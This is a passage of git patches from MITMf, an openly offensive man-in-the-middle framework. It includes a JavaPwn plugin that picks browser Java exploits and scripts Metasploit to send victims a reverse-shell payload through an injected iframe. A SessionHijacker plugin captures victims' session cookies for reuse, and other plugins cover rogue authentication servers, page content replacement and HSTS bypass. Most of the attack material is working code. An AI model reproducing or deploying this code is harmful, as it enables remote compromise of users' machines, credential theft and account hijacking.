+ else: + version_string = ver[1][:-len(ver[1].split('.')[3])-1] + update_version = int(ver[1].split('.')[3]) + + if ('*' in version_string[:1]) and (client_vstring == version_string[1:]): + if client_uversion == update_version: + exploits.append(ver[0]) + elif client_vstring == version_string: + if client_uversion <= update_version: + exploits.append(ver[0]) + + return exploits + + + def injectWait(self, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions + #inject iframe + mitmf_logger.info("{} >> now injecting iframe to trigger exploit".format(client_ip)) + self.html_payload = "".format(self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects + + mitmf_logger.info('{} >> waiting for ze shellz, Please wait...'.format(client_ip)) + + exit = False + i = 1 + while i <= 30: #wait max 60 seconds for a new shell + if exit: + break + shell = self.msf.call('session.list') #poll metasploit every 2 seconds for new sessions + if len(shell) > 0: + for k, v in shell.iteritems(): + if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted + mitmf_logger.info("{} >> Got shell!".format(client_ip)) + self.sploited_ips.append(client_ip) #target successfuly owned :) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + exit = True + break + sleep(2) + i += 1 + + if exit is False: #We didn't get a shell :( + mitmf_logger.info("{} >> session not established after 30 seconds".format(client_ip)) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def send_command(self, cmd, vic_ip): + try: + mitmf_logger.info("{} >> sending commands to metasploit".format(vic_ip)) + + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + + mitmf_logger.info("{} >> commands sent succesfully".format(vic_ip)) + except Exception, e: + mitmf_logger.info('{} >> Error accured while interacting with metasploit: {}:{}'.format(vic_ip, Exception, e)) + + def pwn(self): + self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit + while True: + if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled + + brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format + + if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited + + vic_ip = brwprofile['ip'] + + mitmf_logger.info("{} >> client has java version {} installed! Proceeding...".format(vic_ip, brwprofile['java_version'])) + mitmf_logger.info("{} >> Choosing exploit based on version string".format(vic_ip)) + + exploits = self.get_exploit(brwprofile['java_version']) # get correct exploit strings defined in javapwn.cfg + + if exploits: + + if len(exploits) > 1: + mitmf_logger.info("{} >> client is vulnerable to {} exploits!".format(vic_ip, len(exploits))) + exploit = random.choice(exploits) + mitmf_logger.info("{} >> choosing {}".format(vic_ip, exploit)) + else: + mitmf_logger.info("{} >> client is vulnerable to {}!".format(vic_ip, exploits[0])) + exploit = exploits[0] + + #here we check to see if we already set up the exploit to avoid creating new jobs for no reason + jobs = self.msf.call('job.list') #get running jobs + if len(jobs) > 0: + for k, v in jobs.iteritems(): + info = self.msf.call('job.info', [k]) + if exploit in info['name']: + mitmf_logger.info('{} >> {} already started'.format(vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + self.injectWait(self.msf, url, vic_ip) + + else: #here we setup the exploit + rand_port = random.randint(1000, 65535) #generate a random port for the payload listener + rand_url = self.rand_url() + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(self.msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" #chose this payload because it can be upgraded to a full-meterpreter and its multi-platform + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "exploit -j\n" + + mitmf_logger.debug("command string:\n{}".format(cmd)) + + self.send_command(cmd, vic_ip) + + self.injectWait(rand_url, vic_ip) + else: + #this might be removed in the future since newer versions of Java break the signed applet attack (unless you have a valid cert) + mitmf_logger.info("{} >> client is not vulnerable to any java exploit".format(vic_ip)) + mitmf_logger.info("{} >> falling back to the signed applet attack".format(vic_ip)) + + rand_url = self.rand_url() + rand_port = random.randint(1000, 65535) + + cmd = "use exploit/multi/browser/java_signed_applet\n" + cmd += "set SRVPORT {}\n".format(self.msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "exploit -j\n" + + self.send_command(cmd, vic_ip) + self.injectWait(rand_url, vic_ip) + sleep(1) diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index c84655b..06bf464 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -17,10 +17,12 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # +import logging from plugins.plugin import Plugin from plugins.Inject import Inject -import logging + +mitmf_logger = logging.getLogger("mitmf") class jskeylogger(Inject, Plugin): name = "Javascript Keylogger" diff --git a/plugins/Replace.py b/plugins/Replace.py new file mode 100644 index 0000000..3f124dc --- /dev/null +++ b/plugins/Replace.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +""" +Plugin by @rubenthijssen +""" + +import sys +import logging +import time +import re +from plugins.plugin import Plugin +from plugins.CacheKill import CacheKill + +mitmf_logger = logging.getLogger("mitmf") + +class Replace(CacheKill, Plugin): + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + implements = ["handleResponse", "handleHeader", "connectionMade"] + depends = ["CacheKill"] + version = "0.1" + has_opts = True + + def initialize(self, options): + self.options = options + + self.search_str = options.search_str + self.replace_str = options.replace_str + self.regex_file = options.regex_file + + if (self.search_str is None or self.search_str == "") and self.regex_file is None: + sys.exit("[-] Please provide a search string or a regex file") + + self.regexes = [] + if self.regex_file is not None: + for line in self.regex_file: + self.regexes.append(line.strip().split("\t")) + + if self.options.keep_cache: + self.implements.remove("handleHeader") + self.implements.remove("connectionMade") + + self.ctable = {} + self.dtable = {} + self.mime = "text/html" + + def handleResponse(self, request, data): + ip, hn, mime = self._get_req_info(request) + + if self._should_replace(ip, hn, mime): + + if self.search_str is not None and self.search_str != "": + data = data.replace(self.search_str, self.replace_str) + mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) + + # Did the user provide us with a regex file? + for regex in self.regexes: + try: + data = re.sub(regex[0], regex[1], data) + + mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) + except Exception: + logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) + + self.ctable[ip] = time.time() + self.dtable[ip+hn] = True + + return {'request': request, 'data': data} + + return + + def add_options(self, options): + options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") + options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") + options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") + options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") + + def _should_replace(self, ip, hn, mime): + return mime.find(self.mime) != -1 + + def _get_req_info(self, request): + ip = request.client.getClientIP() + hn = request.client.getRequestHostname() + mime = request.client.headers['Content-Type'] + + return (ip, hn, mime) diff --git a/plugins/Responder.py b/plugins/Responder.py index bea6141..dbd7f69 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -19,18 +19,17 @@ # import threading +import sys from plugins.plugin import Plugin from twisted.internet import reactor from core.utils import SystemConfig from core.responder.llmnr.LLMNRPoisoner import LLMNRPoisoner -from core.responder.wpad.WPADPoisoner import WPADPoisoner from core.responder.mdns.MDNSPoisoner import MDNSPoisoner from core.responder.nbtns.NBTNSPoisoner import NBTNSPoisoner from core.responder.fingerprinter.LANFingerprinter import LANFingerprinter from core.responder.wpad.WPADPoisoner import WPADPoisoner -from core.responder.kerberos.KERBServer import KERBServer class Responder(Plugin): name = "Responder" @@ -48,18 +47,47 @@ class Responder(Plugin): try: config = self.config['Responder'] + smbChal = self.config['MITMf']['SMB']['Challenge'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) MDNSPoisoner().start(options, self.ourip) - KERBServer().start() NBTNSPoisoner().start(options, self.ourip) LLMNRPoisoner().start(options, self.ourip) if options.wpad: + from core.responder.wpad.WPADPoisoner import WPADPoisoner WPADPoisoner().start(options) + if self.config["Responder"]["MSSQL"].lower() == "on": + from core.responder.mssql.MSSQLServer import MSSQLServer + MSSQLServer().start(smbChal) + + if self.config["Responder"]["Kerberos"].lower() == "on": + from core.responder.kerberos.KERBServer import KERBServer + KERBServer().start() + + if self.config["Responder"]["FTP"].lower() == "on": + from core.responder.ftp.FTPServer import FTPServer + FTPServer().start() + + if self.config["Responder"]["POP"].lower() == "on": + from core.responder.pop3.POP3Server import POP3Server + POP3Server().start() + + if self.config["Responder"]["SMTP"].lower() == "on": + from core.responder.smtp.SMTPServer import SMTPServer + SMTPServer().start() + + if self.config["Responder"]["IMAP"].lower() == "on": + from core.responder.imap.IMAPServer import IMAPServer + IMAPServer().start() + + if self.config["Responder"]["LDAP"].lower() == "on": + from core.responder.ldap.LDAPServer import LDAPServer + LDAPServer().start(smbChal) + if options.analyze: self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py new file mode 100644 index 0000000..3594c27 --- /dev/null +++ b/plugins/SSLstrip+.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +import logging + +from plugins.plugin import Plugin +from core.utils import IpTables +from core.sslstrip.URLMonitor import URLMonitor +from core.dnschef.DNSchef import DNSChef + +class HSTSbypass(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_output = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False + + def initialize(self, options): + self.options = options + self.manualiptables = options.manualiptables + + if not options.manualiptables: + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef.getInstance().setHstsBypass() + + def finish(self): + if not self.manualiptables: + if IpTables.getInstance().dns is True: + IpTables.getInstance().Flush() diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py new file mode 100644 index 0000000..baf163a --- /dev/null +++ b/plugins/SessionHijacker.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb +import threading +import os +import sys +import time +import logging +import sqlite3 +import json +import socket + +from plugins.plugin import Plugin +from core.publicsuffix.publicsuffix import PublicSuffixList +from urlparse import urlparse + +mitmf_logger = logging.getLogger("mitmf") + +class SessionHijacker(Plugin): + name = "Session Hijacker" + optname = "hijack" + desc = "Performs session hijacking attacks against clients" + implements = ["cleanHeaders"] #["handleHeader"] + version = "0.1" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.psl = PublicSuffixList() + self.firefox = options.firefox + self.mallory = options.mallory + self.save_dir = "./logs" + self.seen_hosts = {} + self.sql_conns = {} + self.sessions = [] + self.html_header="

Cookies sniffed for the following domains\n
\n
" + + #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires + #SQLite version 3.7.0 or later. You won't be able to read the database files + #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted + #or is not a database" message. + + sqlv = sqlite3.sqlite_version.split('.') + if (sqlv[0] <3 or sqlv[1] < 7): + sys.exit("[-] sqlite3 version 3.7 or greater required") + + if not os.path.exists("./logs"): + os.makedirs("./logs") + + if self.mallory: + t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) + t.setDaemon(True) + t.start() + + def cleanHeaders(self, request): # Client => Server + headers = request.getAllHeaders().copy() + client_ip = request.getClientIP() + + if 'cookie' in headers: + + if self.firefox: + url = "http://" + headers['host'] + request.getPathFromUri() + for cookie in headers['cookie'].split(';'): + eq = cookie.find("=") + cname = str(cookie)[0:eq].strip() + cvalue = str(cookie)[eq+1:].strip() + self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) + + mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip) + + if self.mallory: + if len(self.sessions) > 0: + temp = [] + for session in self.sessions: + temp.append(session[0]) + if headers['host'] not in temp: + self.sessions.append((headers['host'], headers['cookie'])) + mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) + else: + self.sessions.append((headers['host'], headers['cookie'])) + mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) + mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) + + #def handleHeader(self, request, key, value): # Server => Client + # if 'set-cookie' in request.client.headers: + # cookie = request.client.headers['set-cookie'] + # #host = request.client.headers['host'] #wtf???? + # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) + # if self.urlMonitor.isClientLogging() is True: + # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) + # else: + # mitmf_logger.info(message) + + def mallory_server(self): + host = '' + port = 20666 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((host,port)) + server.listen(1) + while True: + client, addr = server.accept() + if addr[0] != "127.0.0.1": + client.send("Hacked By China!") + client.close() + continue + request = client.recv(8192) + request = request.split('\n') + path = request[0].split()[1] + client.send("HTTP/1.0 200 OK\r\n") + client.send("Content-Type: text/html\r\n\r\n") + if path == "/": + client.send(json.dumps(self.sessions)) + client.close() + + def firefoxdb(self, host, cookie_name, cookie_value, url, ip): + + session_dir=self.save_dir + "/" + ip + cookie_file=session_dir +'/cookies.sqlite' + cookie_file_exists = os.path.exists(cookie_file) + + if (ip not in (self.sql_conns and os.listdir("./logs"))): + + try: + if not os.path.exists(session_dir): + os.makedirs(session_dir) + + db = sqlite3.connect(cookie_file, isolation_level=None) + self.sql_conns[ip] = db.cursor() + + if not cookie_file_exists: + self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") + self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") + except Exception, e: + print str(e) + + scheme = urlparse(url).scheme + scheme = (urlparse(url).scheme) + basedomain = self.psl.get_public_suffix(host) + address = urlparse(url).hostname + short_url = scheme + "://"+ address + + log = open(session_dir + '/visited.html','a') + if (ip not in self.seen_hosts): + self.seen_hosts[ip] = {} + log.write(self.html_header) + + if (address not in self.seen_hosts[ip]): + self.seen_hosts[ip][address] = 1 + log.write("\n
\n%s" %(short_url, address)) + + log.close() + + if address == basedomain: + address = "." + address + + expire_date = 2000000000 #Year2033 + now = int(time.time()) - 600 + self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) + + def add_options(self, options): + options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') + options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') + + def finish(self): + if self.firefox: + print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 148e84c..228d54f 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -18,8 +18,6 @@ # USA # -import logging - from sys import exit from core.utils import SystemConfig, IpTables from core.protocols.arp.ARPpoisoner import ARPpoisoner diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index f14778e..3693df6 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -23,6 +23,8 @@ from cStringIO import StringIO from plugins.plugin import Plugin from PIL import Image +mitmf_logger = logging.getLogger("mitmf") + class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" From d3e509d4cd33c4ee0dfe26040506c8d5a71ceea4 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 6 May 2015 23:07:59 +0200 Subject: [PATCH 025/181] Added error handling to DNS and SMB servers when port is in use Added check to see if a plugins options were called without loading the actual plugin --- config/mitmf.conf | 5 +++++ core/dnschef/DNSchef.py | 12 ++++++++---- core/protocols/smb/SMBServer_Responder.py | 9 +-------- core/protocols/smb/SMBserver.py | 11 ++++++++--- core/responder/imap/IMAPServer.py | 2 +- core/responder/ldap/LDAPServer.py | 2 +- core/responder/mssql/MSSQLServer.py | 4 ++-- mitmf.py | 16 +++++++++++++++- plugins/Responder.py | 2 +- plugins/SSLstrip+.py | 5 +++-- 10 files changed, 45 insertions(+), 23 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index c76f951..8387fbb 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -23,6 +23,11 @@ rpcpass = abc123 [[SMB]] + + # + #Here you can configure MITMf's internal SMB server + # + #Set a custom challenge Challenge = 1122334455667788 diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py index 34ea779..e1473a2 100755 --- a/core/dnschef/DNSchef.py +++ b/core/dnschef/DNSchef.py @@ -474,10 +474,14 @@ class DNSChef(ConfigWatcher): self.onConfigChange() self.startConfigWatch() - if self.config['MITMf']['DNS']['tcp'].lower() == 'on': - self.startTCP() - else: - self.startUDP() + try: + if self.config['MITMf']['DNS']['tcp'].lower() == 'on': + self.startTCP() + else: + self.startUDP() + except socket.error as e: + if "Address already in use" in e: + sys.exit("\n[-] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/protocols/smb/SMBServer_Responder.py b/core/protocols/smb/SMBServer_Responder.py index 1b25456..b94b9ad 100644 --- a/core/protocols/smb/SMBServer_Responder.py +++ b/core/protocols/smb/SMBServer_Responder.py @@ -1,6 +1,3 @@ -################################################################################## -#SMB stuff starts here -################################################################################## class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -333,8 +330,4 @@ class SMB1LM(BaseRequestHandler): except Exception: self.request.close() - pass - -################################################################################## -#SMB Server stuff ends here -################################################################################## \ No newline at end of file + pass \ No newline at end of file diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index ded9958..2081804 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,6 +1,7 @@ import logging import sys import threading +from socket import error as socketerror from impacket import version, smbserver, LOG from core.configwatcher import ConfigWatcher @@ -22,9 +23,13 @@ class SMBserver(ConfigWatcher): impacket_ver = version.VER_MINOR def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): - - self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) - self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + + try: + self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) + self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) + except socketerror as e: + if "Address already in use" in e: + sys.exit("\n[-] Unable to start SMB server on port 445: port already in use") def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/responder/imap/IMAPServer.py b/core/responder/imap/IMAPServer.py index 67e6a55..6466b28 100644 --- a/core/responder/imap/IMAPServer.py +++ b/core/responder/imap/IMAPServer.py @@ -16,7 +16,7 @@ class IMAPServer(): t = threading.Thread(name="IMAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/core/responder/ldap/LDAPServer.py b/core/responder/ldap/LDAPServer.py index 4629f71..5d5c91a 100644 --- a/core/responder/ldap/LDAPServer.py +++ b/core/responder/ldap/LDAPServer.py @@ -20,7 +20,7 @@ class LDAPServer(): t = threading.Thread(name="LDAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/core/responder/mssql/MSSQLServer.py b/core/responder/mssql/MSSQLServer.py index 71d38a5..806df10 100644 --- a/core/responder/mssql/MSSQLServer.py +++ b/core/responder/mssql/MSSQLServer.py @@ -12,14 +12,14 @@ class MSSQLServer(): def start(self, chal): global Challenge; Challenge = chal - + try: mitmf_logger.debug("[MSSQLServer] online") server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) t = threading.Thread(name="MSSQLServer", target=server.serve_forever) t.setDaemon(True) t.start() - except Exception, e: + except Exception as e: mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): diff --git a/mitmf.py b/mitmf.py index 5263505..df3ed01 100755 --- a/mitmf.py +++ b/mitmf.py @@ -69,6 +69,9 @@ try: except Exception as e: print "[-] Failed to load plugin class {}: {}".format(p, e) + +arg_dict = dict() #dict containing a plugin's optname with it's relative options + #Give subgroup to each plugin with options try: for p in plugins: @@ -81,6 +84,9 @@ try: if p.has_opts: p.add_options(sgroup) + + arg_dict[p.optname] = vars(sgroup)['_group_actions'] + except NotImplementedError: sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) @@ -90,11 +96,19 @@ if len(sys.argv) is 1: args = parser.parse_args() +# Definitely a better way to do this, will need to clean this up in the future +# Checks to see if we called a plugin's options without first invoking the actual plugin +for plugin, options in arg_dict.iteritems(): + if vars(args)[plugin] is False: + for option in options: + if vars(args)[option.dest] is True: + sys.exit("[-] Called plugin options without invoking --{}".format(plugin)) + #first check to see if we supplied a valid interface myip = SystemConfig.getIP(args.interface) mymac = SystemConfig.getMAC(args.interface) -#Start logging +#Start logging log_level = logging.__dict__[args.log_level.upper()] logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/plugins/Responder.py b/plugins/Responder.py index dbd7f69..620e2b6 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -48,7 +48,7 @@ class Responder(Plugin): try: config = self.config['Responder'] smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception, e: + except Exception as e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) LANFingerprinter().start(options) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index 3594c27..887a6f0 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -22,7 +22,7 @@ import sys import logging from plugins.plugin import Plugin -from core.utils import IpTables +from core.utils import IpTables, SystemConfig from core.sslstrip.URLMonitor import URLMonitor from core.dnschef.DNSchef import DNSChef @@ -37,10 +37,11 @@ class HSTSbypass(Plugin): def initialize(self, options): self.options = options self.manualiptables = options.manualiptables + ip_address = SystemConfig.getIP(options.interface) if not options.manualiptables: if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, self.config['MITMf']['DNS']['port']) + IpTables.getInstance().DNS(ip_address, self.config['MITMf']['DNS']['port']) URLMonitor.getInstance().setHstsBypass() DNSChef.getInstance().setHstsBypass() From 79025dc77eb76e87854d114e86e9ce409b906a61 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 11 May 2015 03:13:45 +0200 Subject: [PATCH 026/181] Initial working PoC for the Ferret-NG plugin that will replace the SessionHijacker plugin: it will capture cookies and trasparently feed them to the proxy it starts up on port 10010 (by default), this way we just have to connect to the proxy, browse to the same website as the victim and we will automatically hijack their session! \o/ The way MITMf hooks SSLstrip's functions has been modified to improve plugin code readability, additionally corrected some useless function hooks that were placed in early framework realeases and never removed. Replace plugin has been given it's own section in the config file currently the BeedAutorun and Javapwn plugins have to be cleaned up... BrowserProfile plugin's Pinlady code has been updated to the latest version (v0.9.0) and will now detect Flash player's version Javapwn plugin will be renamed to BrowserPwn and will support Flash exploits too , as supposed to only Java exploits Since we now have a built in SMB server, removed options to specify a host in the SMBauth plugin Tweaked the output of some plugins --- config/mitmf.conf | 10 +- core/configwatcher.py | 3 +- core/ferretNG/ClientRequest.py | 168 + core/ferretNG/CookieCleaner.py | 105 + core/ferretNG/DnsCache.py | 49 + core/ferretNG/FerretProxy.py | 24 + core/ferretNG/SSLServerConnection.py | 110 + core/ferretNG/ServerConnection.py | 193 + core/ferretNG/ServerConnectionFactory.py | 48 + core/ferretNG/URLMonitor.py | 85 + core/{publicsuffix => ferretNG}/__init__.py | 0 core/publicsuffix/publicsuffix.py | 106 - core/publicsuffix/publicsuffix.txt | 4909 ------------------- core/sergioproxy/ProxyPlugins.py | 28 +- core/sslstrip/ClientRequest.py | 17 +- core/sslstrip/ServerConnection.py | 65 +- core/utils.py | 45 - mitmf.py | 10 +- plugins/AppCachePoison.py | 33 +- plugins/BeefAutorun.py | 4 +- plugins/BrowserProfiler.py | 40 +- plugins/CacheKill.py | 26 +- plugins/FerretNG.py | 60 + plugins/Inject.py | 59 +- plugins/JavaPwn.py | 2 +- plugins/JsKeylogger.py | 27 +- plugins/Replace.py | 67 +- plugins/Responder.py | 3 +- plugins/SMBAuth.py | 12 +- plugins/SessionHijacker.py | 187 - plugins/Spoof.py | 7 +- plugins/Upsidedownternet.py | 19 +- plugins/plugin.py | 47 +- 33 files changed, 1080 insertions(+), 5488 deletions(-) create mode 100644 core/ferretNG/ClientRequest.py create mode 100644 core/ferretNG/CookieCleaner.py create mode 100644 core/ferretNG/DnsCache.py create mode 100644 core/ferretNG/FerretProxy.py create mode 100644 core/ferretNG/SSLServerConnection.py create mode 100644 core/ferretNG/ServerConnection.py create mode 100644 core/ferretNG/ServerConnectionFactory.py create mode 100644 core/ferretNG/URLMonitor.py rename core/{publicsuffix => ferretNG}/__init__.py (100%) delete mode 100644 core/publicsuffix/publicsuffix.py delete mode 100644 core/publicsuffix/publicsuffix.txt create mode 100644 plugins/FerretNG.py delete mode 100644 plugins/SessionHijacker.py diff --git a/config/mitmf.conf b/config/mitmf.conf index 8387fbb..040eec3 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -94,6 +94,14 @@ subnet = 255.255.255.0 dns_server = 192.168.2.20 #optional +[Replace] + + [[Regex1]] + 'Google Search' = 'Google In My Pants' + + [[Regex2]] + "I'm Feeling Lucky" = "I'm Feeling Something In My Pants" + [Responder] #Set these values to On or Off, so you can control which rogue authentication server is turned on. @@ -223,7 +231,7 @@ skip_in_mass_poison=1 #you can add other scripts in additional sections like jQuery etc. -[JavaPwn] +[BrowserPwn] # # All versions strings without a * are considered vulnerable if clients Java version is <= update version diff --git a/core/configwatcher.py b/core/configwatcher.py index 03f8e3c..2da6962 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -12,7 +12,6 @@ mitmf_logger = logging.getLogger('mitmf') class ConfigWatcher(FileSystemEventHandler): _instance = None - config = ConfigObj("./config/mitmf.conf") @staticmethod @@ -43,5 +42,5 @@ class ConfigWatcher(FileSystemEventHandler): try: self.config = ConfigObj("./config/mitmf.conf") except Exception as e: - mitmf_logger.warning("Error reloading config file: {}".format(e)) + mitmf_logger.error("Error reloading config file: {}".format(e)) pass diff --git a/core/ferretNG/ClientRequest.py b/core/ferretNG/ClientRequest.py new file mode 100644 index 0000000..ac6a80b --- /dev/null 